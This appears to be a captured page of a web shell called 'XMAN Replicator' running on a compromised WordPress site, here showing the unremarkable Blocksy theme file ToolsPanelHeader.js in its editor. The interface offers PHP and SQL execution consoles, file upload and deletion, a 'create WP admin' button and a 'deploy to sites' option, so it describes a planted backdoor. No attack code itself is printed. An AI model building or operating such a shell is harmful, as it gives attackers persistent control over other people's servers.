🛸 XMAN Replicator
English
Русский
Français
Quit
Path:
/
home
/
vestsxzf
/
public_html
/
wp-content
/
themes
/
blocksy
/
static
/
js
/
editor
/
components
/
ToolsPanel
/
📋 نشر إلى المواقع
👤 إنشاء مشرف WP
Upload
Make directory
Name
Size
Rights
Date
Actions
[.]
<DIR>
drwxr-xr-x
2026-03-27 10:28
🔄
🗑️
🗑️📁
⬇️
🔒
[..]
<DIR>
drwxr-xr-x
2026-03-27 10:28
🔄
🗑️
🗑️📁
⬇️
🔒
ToolsPanelHeader.js
1,993 B
-rw-r--r--
2026-03-27 10:28
✏️
🔄
🗑️
⬇️
🔒
Edit: ToolsPanelHeader.js
import { createElement } from '@wordpress/element' import { __experimentalGrid as Grid } from '@wordpress/components' import { DropdownMenu, MenuItem, MenuGroup, __experimentalHStack as HStack, __experimentalHeading as Heading, } from '@wordpress/components' import { check, moreVertical, plus } from '@wordpress/icons' import { speak } from '@wordpress/a11y' import { __ } from 'ct-i18n' const ToolsPanelHeader = ({ items, selectedItems, onItemClick, label, resetAll, }) => { const canResetAll = selectedItems.length > 0 return ( <HStack> <Heading style={{ margin: 0, }} level={2}> {label} </Heading> <DropdownMenu icon={selectedItems.length === 0 ? plus : moreVertical} label={__('Parameters options', 'blocksy')} toggleProps={{ isSmall: true, describedBy: selectedItems.length === 0 ? __('All options are currently hidden', 'blocksy') : undefined, }}> {() => ( <> {items.map((item, index) => { return ( <MenuGroup key={index} label={item.label}> {item.items.map((item, index) => { const isSelected = selectedItems.includes(item.label) return ( <MenuItem key={index} icon={isSelected ? check : null} isSelected={isSelected} onClick={() => onItemClick(item.label) }> {item.label} </MenuItem> ) })} </MenuGroup> ) })} <MenuGroup> <MenuItem aria-disabled={!canResetAll} variant={'tertiary'} onClick={() => { if (canResetAll) { resetAll() speak( __('All options reset', 'blocksy'), 'assertive' ) } }}> {__('Reset all', 'blocksy')} </MenuItem> </MenuGroup> </> )} </DropdownMenu> </HStack> ) } export default ToolsPanelHeader
Save
PHP Console
Execute
SQL Console
Execute